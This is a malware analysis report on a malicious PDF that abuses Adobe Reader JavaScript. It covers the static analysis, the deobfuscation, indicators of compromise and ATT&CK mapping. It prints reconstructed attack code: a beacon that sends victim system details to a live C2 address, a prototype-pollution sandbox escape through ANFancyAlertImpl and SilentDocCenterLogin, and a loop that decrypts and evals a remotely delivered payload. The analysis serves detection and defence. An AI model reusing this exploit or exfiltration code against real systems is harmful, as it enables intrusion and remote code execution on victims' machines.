Figure 1: Malicious PDF overview β embedded JavaScript, AcroForm payload, and C2 structure
| FINDING | DETAIL |
|---|---|
| Embedded JavaScript | Executes automatically, initiates multi-stage infection chain |
| Heavy Obfuscation | JSFuck-style techniques and string-mapping function to hide indicators |
| Hidden Payload in AcroForm | Base64-encoded data stored in form field (btn1), retrieved at runtime |
| Multi-layer Decoding | Base64 β byte conversion β AES-CTR decryption β zlib/deflate decompression |
| C2 Communication | Hardcoded endpoint: 169[.]40[.]2[.]68[:]45191 |
| System Fingerprinting | Collects OS, Adobe Reader version, platform, and environment details |
| Stealth & Evasion | Hides PDF layers (getOCGs), delays execution (setTimeOut) |
| Continuous Polling | setInterval repeatedly checks for and processes incoming payload data |
| Dynamic Execution | Final payload executed via runtime eval: eval(global.final_js) |
Using pdfid.py to perform initial static analysis of the PDF sample provided an overview of the
file structure and highlighted the presence of suspicious elements. The analysis revealed:
/JavaScript: 2 /JS: 1 /AcroForm: 1
These are strong indicators of embedded scripts and hidden payload storage.
Figure 2: pdfid.py output β JavaScript and AcroForm objects flagged as suspicious
Using pdf-parser.py, I enumerated the PDF objects and identified the specific object IDs
containing /JS, /JavaScript, and /AcroForm:
/JS found in object 9 β contains heavily obfuscated JavaScript code/JavaScript found in objects 3 and 9 β entry references object 9/AcroForm found in object 1 β entry points to object 2
Figure 3: pdf-parser.py β object IDs mapped to JS, JavaScript, and AcroForm entries
The extracted JavaScript code was heavily obfuscated using JSFuck-style techniques, making it difficult to
interpret directly. The script relied on complex expressions such as ({}+[]),
+!+[],
and dynamic string construction to conceal its functionality.
To better understand the behavior, the code was deobfuscated with the assistance of AI, resulting in a simplified and readable version of the script.
Figure 4: JSFuck-style obfuscation β ({}+[]), +!+[] expressions conceal the actual logic
The script begins by delaying execution using app.setTimeOut for 500 milliseconds β a
common
evasion technique to bypass sandbox and automated analysis environments. It then retrieves hidden data from a
PDF form field using getField(...).value, indicating that the payload is not directly
embedded in
the visible JavaScript but stored elsewhere within the document. The retrieved data is processed using
util.stringFromStream and SOAP.streamDecode to convert and decode the
data into a
usable format.
Further analysis of the /AcroForm object revealed a Base64-encoded string stored within a
form
field value. This encoded data represents the next stage of the payload, decoded and processed at runtime.
Figure 5: AcroForm object β Base64-encoded second-stage payload hidden in form field btn1
With the help of CyberChef and AI-assisted analysis, I deobfuscated and reconstructed the JavaScript code into a near-readable form. After decoding the Base64-encoded data, the resulting output reveals a second-stage JavaScript payload that remains heavily obfuscated.
This decoded script introduces more advanced mechanisms:
var _0x25ecb7 = [ ... '169.40.2.68:45191', // index 557 β C2 server address '_UNSUPPORTED', 'invalid counter value (must be an integer)', ... 'http://', // protocol prefix '?language=', // fingerprint param '/c/windows/system32/ntdll.dll', ... '&platform=', '&viewerVersion=', '&pdfFile=', '&activeDocs=', '&errs=', ... ];
This confirms that the Base64 layer is only the first step in a multi-stage execution chain designed to hide the actual malicious functionality until runtime.
Figure 6: Second-stage payload β string mapping, AES-CTR decryption, and zlib decompression chain
Fingerprints the victim machine β checks OS (targets Win10), Reader version
(β₯21), reader bitness (64-bit), viewer type
("Reader"), platform, and
open documents.
// === VICTIM FINGERPRINTING ===
var webserver = "169.40.2.68:45191";
var viewerVersion = app.viewerVersion;
var viewerType = app.viewerType; // must be "Reader"
var platform = app.platform; // must be "WIN"
var os = getOS(); // must be "WIN10"
var is64bit = isReader64bit(); // must be true
Exfiltrates victim info to a C2 server at 169[.]40[.]2[.]68:45191 via RSS feed URLs,
including
language, viewer
version, platform, active doc count, PDF file path, and a random nonce.
// === C2 BEACON URL ===
var beaconURL = "http://" + webserver + "/" + payloadPath
+ "?language=" + app.language
+ "&viewerType=" + app.viewerType
+ "&version=" + app.viewerVersion
+ "&platform=" + app.platform
+ "&activeDocs=" + activeDocs_count
+ "&errs=" + ERRS // array of requirement failures
+ "&av=" + snake_type
+ "&osVersion=" + getOS()
+ "&pdfFile=" + pdfFile
+ "&rnd=" + Math.random();
Receives and executes an encrypted payload β it polls for two RSS responses: an AES key (bird0) and encrypted
data (bird1). Once both arrive, it decrypts with AES-CTR, decompresses with zlib inflate,
then eval()s the
result as JavaScript inside Acrobat.
// === PRIVILEGE ESCALATION ===
// Injects into ANFancyAlertImpl to corrupt Object.prototype
// allowing untrusted JS to call SilentDocCenterLogin with elevated privs
global["reindeer"] = () => {
global["bird0"] = function(path) {
try {
stream = { read: app.openDoc.bind(app, path) };
ob = { getFullName: SOAP.connect.bind(SOAP, stream) };
Object.prototype.__defineGetter__("swConn", () => { return ob; });
data = { WT: '' };
this.dirty = false;
pwnobj = {
lastIndexOf: SilentDocCenterLogin.bind(app, data, {}),
substring: () => { throw Error(''); }
};
this.getField("path", () => { return pwnobj; });
ANShareFile({ doc: eval("this") });
} catch(e) {}
};
};
Exploits Adobe's SOAP/SilentDocCenterLogin APIs via a prototype pollution trick through
ANFancyAlertImpl and
ANShareFile to gain elevated ("trusted") privileges. The code implements a sandbox escape by
abusing Adobe Readerβs JavaScript APIs and leveraging prototype pollution via
__defineGetter__ to hijack object
behavior and inject attacker-controlled objects. By chaining trusted functions such as
SOAP.connect,
app.openDoc, and triggering ANShareFile, it forces the execution of
SilentDocCenterLogin in
a privileged
context, ultimately achieving arbitrary code execution outside the PDF sandbox.
// Trigger via crafted button name in ANFancyAlertImpl
buttons = { "a(a(a'); }); global.reindeer(); throw Error('oops'); //": 0 };
ANFancyAlertImpl('', [], 0, buttons, 0, 0, 0, 0, 0);
// === PAYLOAD DELIVERY ===
// Polls every 500ms for C2 to populate bird0 (AES key) + bird1 (ciphertext)
function check() {
if (global.bird1 !== undefined && global.bird0 !== undefined) {
clearInterval(global.pig0);
encryptedBytes = aesjs.utils.hex.toBytes(global.bird1);
aesCtr = new aesjs.ctr(global.bird0, new aesjs.Counter(1));
decryptedBytes = aesCtr.decrypt(encryptedBytes);
// Convert bytes to string, then zlib decompress
global.final_js = zip_inflate(decryptedText);
// Execute the payload
app.setTimeOut("eval(global.final_js);", 500);
app.setTimeOut("removeFeeds();", 2000); // clean up RSS feeds
}
}
global.pig0 = app.setInterval("check()", 500);
The exploit is triggered via a crafted button name in ANFancyAlertImpl, which injects and
executes the
privilege escalation chain within a trusted context after successful exploitation.
The malware enters a polling loop, waiting for the C2 server to deliver an AES key bird0
and an encrypted payload bird1, which are then decrypted, decompressed, and executed
dynamically.
This final stage enables the delivery and execution of the attackerβs payload while cleaning up traces of the
communication channel. Notably, the use of RSS.addFeed() and
RSS.getFeeds() demonstrates an abuse of built-in PDF networking capabilities for covert C2
communication, allowing the malware to fetch and execute additional payloads while evading standard network
monitoring mechanisms.
function startup(global) {
var url1 = "http://";
var url2 = "http://";
try { RSS.getFeeds(url1); } catch (e) {}
try { RSS.getFeeds(url2); } catch (e) {}
try { RSS.addFeed(url2, true); } catch (e) {}
try { RSS.addFeed(url1, true); } catch (e) {}
global.timer = app.setInterval(function () {
check(global, url1, url2);
}, 500);
}
// Note: This code constructed from deobfuscation efforts and may not be the exact original code, but it captures the core logic of the
Figure 7: Abused PDF RSS APIs β addFeed and getFeeds used as covert C2 polling channel
Haifei Li reported that on 7 April 2026, the C2 server was still reachable but did not return a payload, indicating the use of victim filtering techniques β the attacker selectively delivers payloads only to specific targets.
Figure 8: C2 server active as of April 7 2026 β no payload returned, suggesting victim filtering
This report analyzes a malicious PDF file that leverages embedded JavaScript to execute a multi-stage malware
delivery process. The document uses advanced obfuscation techniques and hidden storage within AcroForm fields to
conceal its payload and evade static analysis.
Upon opening, the PDF executes obfuscated JavaScript that retrieves a Base64-encoded payload from a form field.
This payload is decoded, further deobfuscated, and processed through additional stages, including AES decryption
and decompression, to reconstruct the final malicious code at runtime.
The malware establishes communication with a hardcoded command-and-control (C2) server at
169[.]40[.]2[.]68[:]45191, sending system information such as operating system, platform,
and viewer
details. It
abuses legitimate PDF APIs, including RSS.addFeed() and RSS.getFeeds(),
to perform covert network
communication
and retrieve additional payloads.
Overall, the sample demonstrates a sophisticated, multi-layered infection chain that combines obfuscation,
encryption, and dynamic execution techniques to evade detection and execute malicious code on the target system.
[PDF Opened]
β
[JavaScript Triggered]
β
[Delay Execution β app.setTimeOut(500ms)]
β
[Read Data from AcroForm field: btn1]
β
[Base64 Decode Payload]
β
[Deobfuscate JavaScript β string mapping]
β
[Hide PDF Layers β getOCGs() stealth]
β
[Initialize Global Variables]
β
[Build C2 URL β 169[.]40[.]2[.]68[:]45191]
β
[Send System Fingerprint β OS, version, platform]
β
[Start Polling Loop β setInterval]
β
ββββββββββββββββββββββββββββββββββββ
β Check for Response from C2 β
βββββββββββββββ¬βββββββββββββββββββββ
β
[If Data + Key Received]
β
[Convert HEX β Bytes]
β
[AES-CTR Decryption]
β
[Convert Bytes β String]
β
[Decompress β zlib Inflate]
β
[Execute Final Payload β eval(global.final_js)]
β
[END]
OR (if no payload received)
β
[Retry Connection to C2]
βΊ (loop continues)
| TYPE | INDICATOR | DESCRIPTION | CONFIDENCE |
|---|---|---|---|
| SHA256 | 65dca34b04416f9a113f09718cbe51e11fd58e7287b7863e37f393ed4d25dde7 | Malicious PDF sample | HIGH |
| IP | 169.40.2.68:45191 | Hardcoded command-and-control (C2) server | HIGH |
| URL Pattern | http://169.40.2.68:45191/<path>?language=&viewerType=&version=&platform=&... | Beaconing URL with system fingerprinting parameters | HIGH |
| EXEC | eval(global.final_js); | Dynamic execution of decrypted payload | HIGH |
| API | RSS.addFeed / RSS.getFeeds | Abuse of PDF RSS APIs for covert C2 communication | HIGH |
| API | getField("btn1").value | Retrieves hidden Base64 payload from AcroForm | HIGH |
| API | app.setInterval / app.setTimeOut | Controls execution timing and C2 polling behavior | HIGH |
| API | app.beginPriv / app.endPriv | Privilege escalation within Adobe Reader environment | HIGH |
| API | util.readFileIntoStream | Reads local files for environment inspection (bitness check) | MEDIUM |
| API | Collab.isDocReadOnly | Abused as file existence oracle | MEDIUM |
| EXPLOIT | ANFancyAlertImpl / ANShareFile | Used for sandbox escape and privilege escalation | HIGH |
| EXPLOIT | SilentDocCenterLogin | Invoked under elevated privileges during exploit chain | HIGH |
| TECHNIQUE | __defineGetter__("swConn") | Prototype pollution used to hijack object behavior | HIGH |
| CRYPTO | AES-CTR + zlib inflate | Decrypts and decompresses final payload | HIGH |
| VAR | bird0 / bird1 | AES key and encrypted payload variables | HIGH |
| PATH | /c/Windows/System32/bootsvc.dll | Suspicious system path referenced | MEDIUM |
| STRING | 500072006F006400... | Hex-encoded "ProductVersion" artifact | MEDIUM |
| TACTIC | TECHNIQUE ID | NAME |
|---|---|---|
| Initial Access | T1566.001 | Phishing: Spearphishing Attachment |
| Execution | T1059.007 | JavaScript |
| Execution | T1204.002 | User Execution: Malicious File |
| Execution | T1059 | Command and Scripting Interpreter |
| Defense Evasion | T1027 | Obfuscated Files or Information |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information |
| Defense Evasion | T1027.002 | Software Packing |
| Discovery | T1082 | System Information Discovery |
| Command & Control | T1071.001 | Application Layer Protocol: HTTP |
| Command & Control | T1105 | Ingress Tool Transfer |
| Command & Control | T1571 | Non-Standard Port |